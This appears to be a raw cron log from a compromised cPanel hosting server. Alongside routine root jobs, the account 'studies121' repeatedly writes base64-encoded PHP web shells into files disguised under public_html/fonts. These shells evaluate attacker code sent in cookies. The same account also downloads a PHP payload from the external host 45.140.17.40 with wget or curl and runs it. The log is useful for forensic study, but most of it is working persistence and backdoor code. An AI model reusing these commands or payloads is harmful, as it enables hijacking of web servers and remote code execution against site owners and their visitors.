Sep  8 02:23:01 ip-184-168-122-23 CROND[24157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:23:01 ip-184-168-122-23 CROND[24159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:23:01 ip-184-168-122-23 CROND[24158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:24:01 ip-184-168-122-23 CROND[24235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:24:01 ip-184-168-122-23 CROND[24236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:24:01 ip-184-168-122-23 CROND[24239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:24:01 ip-184-168-122-23 CROND[24240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:24:01 ip-184-168-122-23 CROND[24238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:24:01 ip-184-168-122-23 CROND[24237]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  8 02:25:01 ip-184-168-122-23 CROND[24344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:25:01 ip-184-168-122-23 CROND[24345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:25:01 ip-184-168-122-23 CROND[24346]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 02:25:01 ip-184-168-122-23 CROND[24347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:25:01 ip-184-168-122-23 CROND[24351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:25:01 ip-184-168-122-23 CROND[24348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:25:01 ip-184-168-122-23 CROND[24349]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:26:01 ip-184-168-122-23 CROND[24440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:26:01 ip-184-168-122-23 CROND[24442]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  8 02:26:01 ip-184-168-122-23 CROND[24443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:26:01 ip-184-168-122-23 CROND[24444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:26:01 ip-184-168-122-23 CROND[24445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:26:01 ip-184-168-122-23 CROND[24447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  8 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  8 02:27:01 ip-184-168-122-23 CROND[24780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:27:01 ip-184-168-122-23 CROND[24782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:27:01 ip-184-168-122-23 CROND[24783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:27:01 ip-184-168-122-23 CROND[24786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:28:01 ip-184-168-122-23 CROND[24874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:28:01 ip-184-168-122-23 CROND[24876]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:28:01 ip-184-168-122-23 CROND[24875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:28:01 ip-184-168-122-23 CROND[24877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:28:01 ip-184-168-122-23 CROND[24878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:29:01 ip-184-168-122-23 CROND[24966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:29:01 ip-184-168-122-23 CROND[24969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:29:01 ip-184-168-122-23 CROND[24967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:29:01 ip-184-168-122-23 CROND[24968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:30:01 ip-184-168-122-23 CROND[25058]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:30:01 ip-184-168-122-23 CROND[25062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:30:01 ip-184-168-122-23 CROND[25063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:30:01 ip-184-168-122-23 CROND[25065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:30:01 ip-184-168-122-23 CROND[25061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:30:01 ip-184-168-122-23 CROND[25064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:30:01 ip-184-168-122-23 CROND[25069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:30:01 ip-184-168-122-23 CROND[25067]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:31:01 ip-184-168-122-23 CROND[25175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:31:01 ip-184-168-122-23 CROND[25174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:31:01 ip-184-168-122-23 CROND[25176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:31:01 ip-184-168-122-23 CROND[25172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:31:01 ip-184-168-122-23 CROND[25173]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 02:32:01 ip-184-168-122-23 CROND[25267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:32:01 ip-184-168-122-23 CROND[25269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:32:01 ip-184-168-122-23 CROND[25270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:32:01 ip-184-168-122-23 CROND[25268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:32:01 ip-184-168-122-23 CROND[25271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:33:01 ip-184-168-122-23 CROND[25451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:33:01 ip-184-168-122-23 CROND[25452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:33:01 ip-184-168-122-23 CROND[25449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:33:01 ip-184-168-122-23 CROND[25450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:34:01 ip-184-168-122-23 CROND[25544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:34:01 ip-184-168-122-23 CROND[25545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:34:01 ip-184-168-122-23 CROND[25548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 02:34:01 ip-184-168-122-23 CROND[25549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:34:01 ip-184-168-122-23 CROND[25547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 02:35:01 ip-184-168-122-23 CROND[25648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 02:35:01 ip-184-168-122-23 CROND[25651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
